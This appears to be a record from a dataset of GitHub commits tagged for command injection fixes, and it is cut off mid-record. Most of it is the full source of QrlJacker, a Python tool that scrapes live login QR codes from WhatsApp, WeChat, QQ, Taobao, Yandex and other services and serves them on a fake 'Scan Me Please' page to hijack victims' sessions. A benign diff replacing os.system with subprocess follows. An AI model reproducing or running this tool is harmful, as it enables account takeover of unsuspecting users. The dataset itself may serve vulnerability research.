\twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timg_url=\"https://passport.yandex.com\" +driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tdata=urllib.urlopen(img_url).read() \t\t\tprint \"[+]Downloading the image..\" \t\t\tf=open(\"tmp.svg\",\"w\").write(data) \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Airdroid(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://web.airdroid.com\") \ttime.sleep(5) \timg_number=16 \trefresh=0 \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[img_number] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tif refresh==0: \t\t\t\tprint \"[!]Refreshing page...\" \t\t\t\tdriver.refresh() \t\t\t\trefresh=1 \t\t\timg_number=15 \t\t\tcontinue \t\texcept: \t\t\tbreak def Weibo(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://weibo.com/login.php\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[len(imgs)-1] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def WeChat(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://web.wechat.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def QQ(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://w.qq.com\") \ttime.sleep(10) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tdriver.save_screenshot('tmp.png') \t\t\timg=driver.find_elements_by_tag_name(\"img\")[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tlocation=img.location \t\t\tsize=img.size \t\t\tprint \"[+]Grabbing photo..\" \t\t\tScreenshot(\"tmp.png\",location,size) \t\t\tprint \"[ \t\t\twebdriver.delete_all_cookies() \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Taobao(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://login.taobao.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton_class=web.find_element_by_class_name(\"msg-err\") \t\t\tbutton=button_class.find_elements_by_tag_name(\"a\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def make(typ=\"html\"): \tif typ==\"html\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"Scan
    \"\"\" \tif typ==\"svg\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"\"\" \tf=open(\"index.html\",\"w\") \tf.write(code) \tf.close() def Simple_Exploit(classname,url,image_number,s=10): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(url) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tlogin=driver.find_element_by_class_name(classname) \t\t\timg=login.find_elements_by_tag_name('img')[int(image_number)] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(s) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def clear(): \tif os.name==\"nt\": \t\tos.system(\"cls\") \telse: \t\tos.system(\"clear\") def main(): \t \tprint \"\"\"\\n \t ___ _ _ _ \t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __ \t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__| \t| |_| || | | | | |_| ||(_| ||(__ | <| __/| | \t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_| Vulnerable Web Applications and Services: 1.Chat Applications 2.Mailing Services 3.eCommerce 4.Online Banking 5.Passport Services 6.Mobile Management Software 7.Other Services 8.Customization \"\"\" \tchoice=input(\" Choice > \") \t \tif choice==1: \t\tprint \"\"\" 1.WhatsApp 2.WeChat 3.Line 4.Weibo 5.QQ Instant Messaging 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\t \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\twhatsapp() \t\t\tmain() \t\t \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeChat() \t\t\tmain() \t\t \t\t \t\telif int(choice_2)==4: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeibo() \t\t\tmain() \t\telif int(choice_2)==5: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tQQ() \t\t\tmain() \t \tif choice==2: \t\tprint \"\"\" 1.QQ Mail 2.Yandex Mail 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake(\"svg\") \t\t\tServe_it(port) \t\t\tYandex() \t\t\tmain() \t \tif choice==3: \t\tprint \"\"\" 1.Alibaba 2.Aliexpress 3.Taobao 4.Tmall 5.1688.com 6.Alimama 7.Taobao Trips 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==3: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t\t \t\t \t\t \t\telif int(choice_2)==7: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t \tif choice==4: \t\tprint \"\"\" 1.AliPay 2.Yandex Money 3.TenPay 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==5: \t\tprint \"\"\" 1.Yandex Passport 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==6: \t\tprint \"\"\" 1.Airdroid 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tAirdroid() \t\t\tmain() \t \tif choice==7: \t\tprint \"\"\" 1.MyDigiPass 2.Zapper 3.Trustly App 4.Yelophone 5.Alibaba Yunos 00.Back To Main Menu \"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \t \t\t \t\t \t\t \t\t if __name__=='__main__': \tmain() ", "sourceWithComments": "#!/usr/bin/env python\n#-*- encoding:utf-8 -*-\n#Author:D4Vinci\nimport base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\nfrom selenium import webdriver\nfrom binascii import a2b_base64\nfrom PIL import Image\n\n#settings = configparser.ConfigParser()\n\ndef Serve_it(port=1337):\n\tdef serve(port):\n\t\tif os.name==\"nt\":\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n\t\telse:\n\t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n\tthreading.Thread(target=serve,args=(port,)).start()\n\ndef create_driver():\n\ttry:\n\t\tweb = webdriver.Firefox()\n\t\tprint \" [+]Opening Mozila FireFox...\"\n\t\treturn web\n\texcept:\n\t\tweb = webdriver.Chrome()\n\t\tprint \" [+]Opening Google Chrome...\"\n\t\treturn web\n\n#Stolen from stackoverflow :D\ndef Screenshot(PicName ,location ,size):\n\timg = Image.open(PicName)#screenshot.png\n\tleft = location['x']\n\ttop = location['y']\n\tright = left + size['width']\n\tbottom = top + size['height']\n\tbox = (int(left), int(top), int(right), int(bottom))\n\tfinal = img.crop(box) # defines crop points\n\tfinal.load()\n\tfinal.save(PicName)\n\ndef whatsapp():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get('https://web.whatsapp.com/')\n\ttime.sleep(5)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name('qr-button')\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\n\t\ttry:\n\t\t\timg = driver.find_elements_by_tag_name('img')[0]\n\t\t\tsrc = img.get_attribute('src').replace(\"data:image/png;base64,\",\"\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tbinary_data = a2b_base64(src)\n\t\t\tqr = open(\"tmp.png\",\"wb\")\n\t\t\tqr.write(binary_data)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\tqr.close()\n\t\t\ttime.sleep(5)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\n#make(\"svg\")\ndef Yandex():\n\tprint \"\\n-- --- -- --- -- --- -- --- -- --- --\"\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://passport.yandex.com/auth?mode=qr\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timg_url = \"https://passport.yandex.com\" + driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\")\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tdata = urllib.urlopen(img_url).read()\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tf = open(\"tmp.svg\",\"w\").write(data)\n\t\t\tprint \" [#]Saved To tmp.svg\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Airdroid():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://web.airdroid.com\")\n\ttime.sleep(5)\n\timg_number = 16\n\trefresh = 0\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton = driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[img_number]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tif refresh == 0:\n\t\t\t\tprint \" [!]Refreshing page...\"\n\t\t\t\tdriver.refresh()\n\t\t\t\trefresh = 1\n\t\t\timg_number = 15\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Weibo():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://weibo.com/login.php\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[len(imgs)-1]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef WeChat():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://web.wechat.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef QQ():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"http://w.qq.com\")\n\ttime.sleep(10)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tdriver.save_screenshot('tmp.png') #screenshot entire page\n\t\t\timg = driver.find_elements_by_tag_name(\"img\")[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tlocation = img.location\n\t\t\tsize = img.size\n\t\t\tprint \" [+]Grabbing photo..\"\n\t\t\tScreenshot(\"tmp.png\" ,location ,size)\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\twebdriver.delete_all_cookies()\n\t\t\ttime.sleep(10)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef Taobao():\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(\"https://login.taobao.com\")\n\ttime.sleep(5)\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tbutton_class = web.find_element_by_class_name(\"msg-err\")\n\t\t\tbutton = button_class.find_elements_by_tag_name(\"a\")[0]\n\t\t\tprint \" [!]Clicking to reload QR code image...\"\n\t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT)\n\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tpass\n\t\ttry:\n\t\t\timgs = driver.find_elements_by_tag_name('img')\n\t\t\timg = imgs[0]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef make(typ=\"html\"):\n\tif typ == \"html\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n\"Scan
    \n\"\"\"\n\n\tif typ == \"svg\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n
    \n\"\"\"\n\tf = open(\"index.html\",\"w\")\n\tf.write(code)\n\tf.close()\n\ndef Simple_Exploit(classname,url,image_number,s=10):\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(url)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tlogin = driver.find_element_by_class_name(classname)\n\t\t\timg = login.find_elements_by_tag_name('img')[int(image_number)]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(s)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef clear():\n\tif os.name == \"nt\":\n\t\tos.system(\"cls\")\n\telse:\n\t\tos.system(\"clear\")\n\ndef main():\n\t#clear()\n\tprint \"\"\"\\n\n\t ___ _ _ _\n\t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __\n\t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__|\n\t| |_| || | | | | |_| || (_| || (__ | <| __/| |\n\t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_|\n\n# Hacking With Qrljacking Attack Vector Become Easy\n# Coded By karim Shoair | D4Vinci\n\n Vulnerable Web Applications and Services:\n 1.Chat Applications\n 2.Mailing Services\n 3.eCommerce\n 4.Online Banking\n 5.Passport Services\n 6.Mobile Management Software\n 7.Other Services\n 8.Customization\n\"\"\"\n\tchoice = input(\" Choice > \")\n\n\t#Chat Applications\n\tif choice == 1:\n\t\tprint \"\"\"\n 1.WhatsApp\n 2.WeChat\n 3.Line\n 4.Weibo\n 5.QQ Instant Messaging\n 00.Back To Main Menu\n\t\"\"\"\n\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\t#Whatsapp\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\twhatsapp()\n\t\t\tmain()\n\n\t\t#Wechat\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeChat()\n\t\t\tmain()\n\n\t\t#3\n\n\t\t#Weibo\n\t\telif int(choice_2) == 4:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeibo()\n\t\t\tmain()\n\n\t\telif int(choice_2) == 5:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tQQ()\n\t\t\tmain()\n\n\t#Mailing Services\n\tif choice == 2:\n\t\tprint \"\"\"\n 1.QQ Mail\n 2.Yandex Mail\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake(\"svg\")\n\t\t\tServe_it(port)\n\t\t\tYandex()\n\t\t\tmain()\n\n\t#eCommerce\n\tif choice == 3:\n\t\tprint \"\"\"\n 1.Alibaba\n 2.Aliexpress\n 3.Taobao\n 4.Tmall\n 5.1688.com\n 6.Alimama\n 7.Taobao Trips\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 3:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t\t#4\n\n\t\t#5\n\n\t\t#6\n\n\t\telif int(choice_2) == 7:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t#Online Banking\n\tif choice == 4:\n\t\tprint \"\"\"\n 1.AliPay\n 2.Yandex Money\n 3.TenPay\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Passport Services\n\tif choice == 5:\n\t\tprint \"\"\"\n 1.Yandex Passport\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Mobile Management Software\n\tif choice == 6:\n\t\tprint \"\"\"\n 1.Airdroid\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tAirdroid()\n\t\t\tmain()\n\n\t#Other Services\n\tif choice == 7:\n\t\tprint \"\"\"\n 1.MyDigiPass\n 2.Zapper\n 3.Trustly App\n 4.Yelophone\n 5.Alibaba Yunos\n 00.Back To Main Menu\n\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Customization\n\t#if choice == 8:\n\t\t#settings.read(\"Data/Simple.ini\")\n\t\t#url = settings.get(\"WeChat\",\"url\")\n\t\t#image_number = settings.get(\"WeChat\",\"image_number\")\n\t\t#classname = settings.get(\"WeChat\",\"classname\")\nif __name__ == '__main__':\n\tmain()\n"}}, "msg": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n...."}}, "https://github.com/rillian/rust-build": {"b8af51e5811fcb35eff9e1e3e91c98490e7a7dcb": {"url": "https://api.github.com/repos/rillian/rust-build/commits/b8af51e5811fcb35eff9e1e3e91c98490e7a7dcb", "html_url": "https://github.com/rillian/rust-build/commit/b8af51e5811fcb35eff9e1e3e91c98490e7a7dcb", "message": "Use subprocess.check_call() instead of os.system().\n\nThis will throw an exception if the command fails and\nis more robust against shell injection issues.", "sha": "b8af51e5811fcb35eff9e1e3e91c98490e7a7dcb", "keyword": "command injection issue", "diff": "diff --git a/repack_rust.py b/repack_rust.py\nindex 1f65426..f0b8503 100644\n--- a/repack_rust.py\n+++ b/repack_rust.py\n@@ -5,9 +5,10 @@\n build environment.\n '''\n \n+import os.path\n import requests\n+import subprocess\n import toml\n-import os\n \n def fetch_file(url):\n '''Download a file from the given url if it's not already present.'''\n@@ -30,21 +31,23 @@ def fetch(url):\n fetch_file(url + '.asc.sha256')\n print('Verifying %s...' % base)\n # TODO: check for verification failure.\n- os.system('shasum -c %s.sha256' % base)\n- os.system('shasum -c %s.asc.sha256' % base)\n- os.system('gpg --verify %s.asc %s' % (base, base))\n- os.system('keybase verify %s.asc' % base)\n+ subprocess.check_call(['shasum', '-c', base + '.sha256'])\n+ subprocess.check_call(['shasum', '-c', base + '.asc.sha256'])\n+ subprocess.check_call(['gpg', '--verify', base + '.asc', base])\n+ subprocess.check_call(['keybase', 'verify', base + '.asc'])\n \n def install(filename, target):\n '''Run a package's installer script against the given target directory.'''\n print(' Unpacking %s...' % filename)\n- os.system('tar xf ' + filename)\n+ subprocess.check_call(['tar', 'xf', filename])\n basename = filename.split('.tar')[0]\n print(' Installing %s...' % basename)\n- install_opts = '--prefix=${PWD}/%s --disable-ldconfig' % target\n- os.system('%s/install.sh %s' % (basename, install_opts))\n+ install_cmd = [os.path.join(basename, 'install.sh')]\n+ install_cmd += ['--prefix=' + os.path.abspath(target)]\n+ install_cmd += ['--disable-ldconfig']\n+ subprocess.check_call(install_cmd)\n print(' Cleaning %s...' % basename)\n- os.system('rm -rf %s' % basename)\n+ subprocess.check_call(['rm', '-rf', basename])\n \n def package(manifest, pkg, target):\n '''Pull out the package dict for a particular package and target\n@@ -54,6 +57,7 @@ def package(manifest, pkg, target):\n return (version, info)\n \n def repack(host, targets, channel='stable'):\n+ print(\"Repacking rust for %s...\" % host)\n url = 'https://static.rust-lang.org/dist/channel-rust-' + channel + '.toml'\n req = requests.get(url)\n req.raise_for_status()\n@@ -80,14 +84,14 @@ def repack(host, targets, channel='stable'):\n print('Installing packages...')\n tar_basename = 'rustc-%s-repack' % host\n install_dir = 'rustc'\n- os.system('rm -rf %s' % install_dir)\n+ subprocess.check_call(['rm', '-rf', install_dir])\n install(os.path.basename(rustc['url']), install_dir)\n install(os.path.basename(cargo['url']), install_dir)\n for std in stds:\n install(os.path.basename(std['url']), install_dir)\n print('Tarring %s...' % tar_basename)\n- os.system('tar cjf %s.tar.bz2 %s/*' % (tar_basename, install_dir))\n- os.system('rm -rf %s' % install_dir)\n+ subprocess.check_call(['tar', 'cjf', tar_basename + '.tar.bz2', install_dir])\n+ subprocess.check_call(['rm', '-rf', install_dir])\n \n # rust platform triples\n android=\"arm-linux-androideabi\"\n", "files": {"/repack_rust.py": {"changes": [{"diff": "\n fetch_file(url + '.asc.sha256')\n print('Verifying %s...' % base)\n # TODO: check for verification failure.\n- os.system('shasum -c %s.sha256' % base)\n- os.system('shasum -c %s.asc.sha256' % base)\n- os.system('gpg --verify %s.asc %s' % (base, base))\n- os.system('keybase verify %s.asc' % base)\n+ subprocess.check_call(['shasum', '-c', base + '.sha256'])\n+ subprocess.check_call(['shasum', '-c', base + '.asc.sha256'])\n+ subprocess.check_call(['gpg', '--verify', base + '.asc', base])\n+ subprocess.check_call(['keybase', 'verify', base + '.asc'])\n \n def install(filename, target):\n '''Run a package's installer script against the given target directory.'''\n print(' Unpacking %s...' % filename)\n- os.system('tar xf ' + filename)\n+ subprocess.check_call(['tar', 'xf', filename])\n basename = filename.split('.tar')[0]\n print(' Installing %s...' % basename)\n- install_opts = '--prefix=${PWD}/%s --disable-ldconfig' % target\n- os.system('%s/install.sh %s' % (basename, install_opts))\n+ install_cmd = [os.path.join(basename, 'install.sh')]\n+ install_cmd += ['--prefix=' + os.path.abspath(target)]\n+ install_cmd += ['--disable-ldconfig']\n+ subprocess.check_call(install_cmd)\n print(' Cleaning %s...' % basename)\n- os.system('rm -rf %s' % basename)\n+ subprocess.check_call(['rm', '-rf', basename])\n \n def package(manifest, pkg, target):\n '''Pull out the package dict for a particular package and target\n", "add": 10, "remove": 8, "filename": "/repack_rust.py", "badparts": [" os.system('shasum -c %s.sha256' % base)", " 